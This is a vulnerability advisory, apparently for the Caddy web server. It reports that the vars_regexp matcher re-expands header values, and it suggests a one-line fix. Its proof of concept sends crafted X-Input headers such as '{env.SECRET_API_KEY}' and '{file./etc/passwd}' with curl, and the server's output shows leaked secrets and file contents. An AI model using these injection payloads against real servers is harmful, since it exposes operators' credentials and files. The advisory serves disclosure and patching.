### Summary

The `vars_regexp` matcher in `vars.go:337` double-expands user-controlled input through the Caddy replacer. When `vars_regexp` matches against a placeholder like `{http.request.header.X-Input}`, the header value gets resolved once (expected), then passed through `repl.ReplaceAll()` again (the bug). This means an attacker can put `{env.DATABASE_URL}` or `{file./etc/passwd}` in a request header and the server will evaluate it, leaking environment variables, file contents, and system info.

`header_regexp` does NOT do this — it passes header values straight to `Match()`. So this is a code-level inconsistency, not intended behavior.

### Details

The bug is at `modules/caddyhttp/vars.go`, line 337 in `MatchVarsRE.MatchWithError()`:

```go
valExpanded := repl.ReplaceAll(varStr, "")
if match := val.Match(valExpanded, repl); match {
```

When the key is a placeholder like `{http.request.header.X-Input}`, `repl.Get()` resolves it to the raw header value (first expansion, line 318). Then `repl.ReplaceAll()` runs on that value again (second expansion, line 337), which evaluates any `{env.*}`, `{file.*}`, `{system.*}` placeholders the user put in there.

For comparison, `header_regexp` (`matchers.go:1129`) and `path_regexp` (`matchers.go:703`) both pass values directly to `Match()` without this second expansion.

This `repl.ReplaceAll()` was added by PR #5408 to fix #5406 (vars_regexp not working with placeholder keys). The fix was needed for resolving the key, but it also re-expands the resolved value, which is the bug.


*Side-by-side proof that this is a code bug, not misconfiguration — same header, same regex, different behavior:**

Config with both matchers on the same server:
```json
{
"admin": {"disabled": true},
"apps": {
"http": {
"servers": {
"srv0": {
"listen": [":8080"],
"routes": [
{
"match": [{"path": ["/header_regexp"], "header_regexp": {"X-Input": {"name": "hdr", "pattern": ".+"}}}],
"handle": [{"handler": "static_response", "body": "header_regexp: {http.regexp.hdr.0}"}]
},
{
"match": [{"path": ["/vars_regexp"], "vars_regexp": {"{http.request.header.X-Input}": {"name": "var", "pattern": ".+"}}}],
"handle": [{"handler": "static_response", "body": "vars_regexp: {http.regexp.var.0}"}]
}
]
}
}
}
}
}
```

```
$ export SECRET=supersecretvalue123

$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/header_regexp
header_regexp: {env.HOME} # literal string, safe

$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/vars_regexp
vars_regexp: /Users/test # expanded — env var leaked

$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/header_regexp
header_regexp: {env.SECRET} # literal string, safe

$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/vars_regexp
vars_regexp: supersecretvalue123 # secret leaked

$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/header_regexp
header_regexp: {file./etc/hosts} # literal string, safe

$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/vars_regexp
vars_regexp: ## # file contents leaked
```

### PoC

Save this as `config.json`:
```json
{
"admin": {"disabled": true},
"apps": {
"http": {
"servers": {
"srv0": {
"listen": [":8080"],
"routes": [
{
"match": [
{
"vars_regexp": {
"{http.request.header.X-Input}": {
"name": "leak",
"pattern": ".+"
}
}
}
],
"handle": [
{
"handler": "static_response",
"body": "Result: {http.regexp.leak.0}"
}
]
},
{
"handle": [
{
"handler": "static_response",
"body": "No match",
"status_code": "200"
}
]
}
]
}
}
}
}
}
```

Start Caddy:
```bash
export SECRET_API_KEY=sk-PRODUCTION-abcdef123456
caddy run --config config.json
```

Requests and output:

```
$ curl -v -H 'X-Input: hello' http://127.0.0.1:8080
* Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: hello
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 13
<
Leaked: hello
```

```
$ curl -v -H 'X-Input: {env.HOME}' http://127.0.0.1:8080
* Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: {env.HOME}
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 20
<
Leaked: /Users/test
```

```
$ curl -v -H 'X-Input: {env.SECRET_API_KEY}' http://127.0.0.1:8080
* Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: {env.SECRET_API_KEY}
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 34
<
Leaked: sk-PRODUCTION-abcdef123456
```

```
$ curl -v -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080
* Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: {file./etc/hosts}
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 10
<
Leaked: ##
```

Also works with `{system.hostname}`, `{system.os}`, `{env.PATH}`, etc.

Debug log (server starts clean, no errors):
```
{"level":"info","ts":1771456228.917303,"msg":"maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined"}
{"level":"info","ts":1771456228.917334,"msg":"GOMEMLIMIT is updated","GOMEMLIMIT":15461882265,"previous":9223372036854775807}
{"level":"info","ts":1771456228.9173398,"msg":"using config from file","file":"config.json"}
{"level":"warn","ts":1771456228.917349,"logger":"admin","msg":"admin endpoint disabled"}
{"level":"info","ts":1771456228.917928,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0x340775faa300"}
{"level":"warn","ts":1771456228.920725,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"warn","ts":1771456228.920738,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"info","ts":1771456228.920741,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"level":"info","ts":1771456228.9210382,"msg":"autosaved config (load with --resume flag)"}
{"level":"info","ts":1771456228.921052,"msg":"serving initial configuration"}
```

### Impact

Information disclosure. An attacker can leak:
- Environment variables (`{env.DATABASE_URL}`, `{env.AWS_SECRET_ACCESS_KEY}`, etc.)
- File contents up to 1MB (`{file./etc/passwd}`, `{file./proc/self/environ}`)
- System info (`{system.hostname}`, `{system.os}`, `{system.wd}`)

Requires a config where `vars_regexp` matches user-controlled input and the capture group is reflected back. The bug was introduced by PR #5408 (fix for #5406), affecting all versions since.

Suggested one-line fix:
```diff
--- a/modules/caddyhttp/vars.go
+++ b/modules/caddyhttp/vars.go
@@ -334,7 +334,7 @@
varStr = fmt.Sprintf("%v", vv)
}

- valExpanded := repl.ReplaceAll(varStr, "")
+ valExpanded := varStr
if match := val.Match(valExpanded, repl); match {
return match, nil
}
```

This makes `vars_regexp` consistent with `header_regexp` and `path_regexp`. Placeholder key resolution (lines 315-318) is unaffected.

Tested on latest main commit at `95941a71` (2026-02-17).

**AI Disclosure:** Used Claude (Anthropic) during code review and testing. All findings verified manually.

CWE-74 Injection

CWE-200 Information Exposure